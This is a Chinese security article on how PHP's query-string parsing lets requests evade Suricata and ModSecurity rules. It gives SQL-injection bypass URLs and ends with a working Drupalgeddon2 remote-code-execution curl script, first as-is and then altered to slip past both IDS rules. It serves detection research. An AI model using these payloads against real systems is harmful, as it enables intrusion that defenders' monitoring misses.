我们知道PHP将查询字符串(在URL或正文中)转换为内部$GET或的关联数组$POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([newsid] => 42)。如果一个IDS/IPS或WAF中有一条规则是当newsid参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$GET["newsid"]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

例如:

User input Decoded PHP variable name
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

通过以下这个示例,你可以更直观的看到parser_str函数如何处理字符串:

<?php     foreach(        [            "{chr}foo_bar",            "foo{chr}bar",            "foo_bar{chr}"        ] as $k => $arg) {            for($i=0;$i<=255;$i++) {                echo "\033[999D\033[K\r";                echo "[".$arg."] check ".bin2hex(chr($i))."";                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);                /* yes... I've added a sleep time on each loop just for                the scenic effect :) like that movie with unrealistic                brute-force where the password are obtained                one byte at a time (∩`-´)⊃━☆゚.*・。゚                */                usleep(5000);                if(isset($o["foo_bar"])) {                    echo "\033[999D\033[K\r";                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";                }            }            echo "\033[999D\033[K\r";            echo "\n";    }

parse_str函数通常被自动应用于get、post请求和cookie中。如果你的Web服务器接受带有特殊字符的参数名,那么也会发生类似的情况。如上代码所示,我进行了多次循环,枚举了参数名三个位置的0到255之间的所有字符,看看解析函数到底是如何处理这些特殊字符的。结果如下:

1.[1st]foo_bar

2.foo[2nd]bar

3.foo_bar[3rd]

在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。

Suricata

也许你也听过这款软件,Suricata是一个“开源、成熟、快速、强大的网络威胁检测引擎”,它的引擎能够进行实时入侵检测(IDS)、入侵防御系统(IPS)、网络安全监控(NSM)和离线流量包处理。

在Suricata中你可以自定义一个HTTP流量的检测规则。假设你有这样一个规则:

alert http any any -> $HOME_NET any (\    msg: "Block SQLi"; flow:established,to_server;\    content: "POST"; http_method;\    pcre: "/news_id=[^0-9]+/Pi";\    sid:1234567;\)

简单来说,上述规则会检查news_id的值是否是数字。那么根据上述知识,我们可以很容易的绕过防御,如下所示:

/?news[id=1%22+AND+1=1--'/?news%5bid=1%22+AND+1=1--'/?news_id%00=1%22+AND+1=1--'

通过在Google和Github上进行搜索,我发现有很多关于Suricata规则可以通过替换下划线或插入空字符来绕过。一个真实的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

上述规则可以通过以下方式绕过:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

当然,这条规则交换参数位置即可绕过,比如:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF(ModSecurity)

此外,PHP查询字符串的解析特性也可用以绕过WAF。想象一下,它的规则类似于SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",这显然可以通过相同的手段绕过。幸运的是,在ModSecurity中,可以通过正则表达式指定查询字符串中的参数。比如:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

以上规则将拦截诸如以下的请求:

⛔️/?news[id=1%22+AND+1=1--'⛔️/?news%5bid=1%22+AND+1=1--'⛔️/?news_id%00=1%22+AND+1=1--'

PoC || GTFO

让我们用Suricata和Drupal CMS创建一个以利用CVE-2018-7600(Drupalgeddon2远程执行代码)的简单PoC。为了简单起见,我将在两个Docker容器上运行Suricata和Drupal,并尝试绕过Suricata攻击Drupal。

我将使用两条Suricata防御规则:

1.一条自定义规则拦截formid=userregister_form

2.另一条是关于CVE-2018-7600的通用规则

Suricata官方安装流程点击[这里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/UbuntuInstallation-PersonalPackageArchives(PPA)。对于Drupal,我运行了一个Vulhub容器,你可以在这里下载:

首先,让我们尝试利用CVE-2018-7600。一个利用curl命令的小型bash脚本,比如:

#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如你所见,上面的脚本将执行命令id:

现在,让我们尝试往Suricata导入以下两条规则:我编写了第一个规则,它只是尝试formid=userregisterform在请求体内进行匹配; Positive Technology /user/register在请求URL和#postrender请求正文中写了第二个匹配项。我的规则:

alert http any any -> $HOME_NET any (\  msg: "Possible Drupalgeddon2 attack";\  flow: established, to_server;\  content: "/user/register"; http_uri;\  content: "POST"; http_method;\  pcre: "/form_id=user_register_form/Pi";\  sid: 10002807;\  rev: 1;\)

通用规则:

alert http any any -> $HOME_NET any (\  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \  flow: established, to_server; \  content: "/user/register"; http_uri; \  content: "POST"; http_method; \  content: "drupal"; http_client_body; \  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \  reference: cve, 2018-7600; \  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \  classtype: attempted-admin; \  reference: url, github.com/ptresearch/AttackDetection; \  metadata: Open Ptsecurity.com ruleset; \  sid: 10002808; \  rev: 2; \)

在重启Suricata后,我的攻击被成功报警:

可以看到,我们得到了两条日志:

1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

Bypass!

这两条规则其实都很容易绕过。首先,对于敏感字段formid=userregister_form,我们可将其替换为如下内容:

form%5bid=user_register_form

如上图所见,现在只有通用规则的警报。分析通用规则的正则表达式,我们可以看到它对#和%23敏感,但不涉及下划线的编码。因此,我们可以使用post%5frender代替post_render来绕过:

最后得出可绕过两个规则的PoC:

#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

*参考来源:secjuice,FB小编周大涛编译,转载请注明来自FreeBuf.COM

精彩推荐

php 字符串包含另一个字符串_利用PHP的字符串解析特性Bypass相关推荐

  1. 【指针编程】 编写一个函数,利用指针在字符串s中的指定位置pos处(这里插入的位置是从1开始,不是下标。)插入字符串。插入的位置和内容是从键盘输入

    [问题描述] 编写一个函数,利用指针在字符串s中的指定位置pos处(这里插入的位置是从1开始,不是下标)插入字符串.插入的位置和内容是从键盘输入 要求:子函数 void InsertStr(char ...

  2. 写出一个程序,接受一个由字母和数字组成的字符串,和一个字符,然后输出输入字符串中含有该字符的个数。不区分大小写

    002-华为机试-在线测试 题目描述 写出一个程序,接受一个由字母和数字组成的字符串,和一个字符,然后输出输入字符串中含有该字符的个数.不区分大小写. 输入描述: 输入一个有字母和数字以及空格组成的字 ...

  3. php判断网址包含字符,php中判断一个字符串包含另一个字符串的方法

    第一种方法:用php的strpos() 函数判断字符串中是否包含某字符串的方法if(strpos("www.yinxi.net","jb51") !== fal ...

  4. c和c++如何判断一个字符串包含另一个字符串

    1.不使用库函数 暴力算法 第一行输入要查找的字符串,第二行输入被查找的字符串 返回要查找字符串在另一个字符串中出现的首位置 #include<stdio.h> #include<s ...

  5. python中指定最后一个字符_如何从Python字符串中删除最后一个字符?

    如何从Python字符串中删除最后一个字符? Python支持负索引切片和正切片.负索引从  -1 到-(iterable_length)开始.我们将使用负切片从可迭代对象的末尾获取元素. 索引  - ...

  6. groovy 字符串截取最后一个_Python入门高级教程--Python 字符串

    Python 字符串 字符串是 Python 中最常用的数据类型.我们可以使用引号('或")来创建字符串. 创建字符串很简单,只要为变量分配一个值即可.例如: var1 = 'Hello W ...

  7. groovy 字符串截取最后一个_python数据类型总结——数字和字符串

    如同人有姓名一般,当python中的数据被创建后,会在存储介质中分配一块区域用于存储数据.通常,我们需要一个名字来指代这部分数据.python变量 数据的名字,称之为变量.数据存放在内存空间中,变量持 ...

  8. 利用PHP的字符串解析特性Bypass

    我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST.例如:/?foo=bar变成Array([foo] => "bar").值得注意的 ...

  9. python字符串逆序输出代码_一行代码实现字符串逆序输出

    字符串逆序实现三部曲: 1.将字符串转为数组,一个字符为数组的一个元素: 2.将数组倒置: 3.再将数组元素拼接为字符串. 方法一: var str = "naYgniYgnehZ" ...

  10. 写出一个程序,接受一个由字母、数字和空格组成的字符串,和一个字符,然后输出输入字符串中该字符的出现次数。(不区分大小写字母)

    一.题目 输入描述: 第一行输入一个由字母和数字以及空格组成的字符串,第二行输入一个字符. 输出描述: 输出输入字符串中含有该字符的个数.(不区分大小写字母) 示例1 输入: ABCabc A 输出: ...

最新文章

  1. PHP 7.3 我们将迎来灵活的 heredoc 和 nowdoc 句法结构
  2. mac下server开发环境配置
  3. SAP UI5 Extension getCustomProperties
  4. java切换jdk版本_切换JDK版本quick
  5. xpath 取标签下所有文字内容_xpath提取目录下所有标签内的内容,递归 //text()...
  6. linux shell期末测试,LINUX期末复习---SHELL编程
  7. 特征经验分享以及管理文件,远程运行的小技巧
  8. MongoDB使用经验总结
  9. Linux运维常见的硬件问题
  10. jQuery-JS在iframe中获取父页面的值
  11. 【Python学习笔记】《和孩子一起学编程》第2章 记住内存和变量
  12. VS2017 激活密钥
  13. endnote初始化数据库支持_学术干货:Endnote免费网页版竟如此强大!
  14. 怎样才能够修改PDF文件中的文字大小
  15. vue 微信公众号定位+高德地图
  16. 互联网日报 | 3月5日 星期五 | 抖音成为2020欧洲杯官方合作伙伴;携程GMV连续三年全球旅企第一;华为发布好望云服务...
  17. 大鹏背景,大鹏为什么能邀请那么多明星?揭秘董成鹏的成名路
  18. unity3d发布webgl手机测试流程
  19. Android源码编译及替换成自己编译的linux内核
  20. 问:用宏定义一年有多少秒(忽略闰年)

热门文章

  1. 谈谈嵌入式设备用户界面的未来
  2. 建立可扩展的silverlight 应用框架 step-3
  3. Elasticsearch 之索引创建原则
  4. CNN for image retrieval
  5. GO -- 一个经验
  6. gitlab ssh key
  7. PowerShell为什么强大
  8. 使用cookie,点击关闭一天后显示的弹窗
  9. Zookeeper节点监听结合Spring
  10. bootchart.jar 编译过程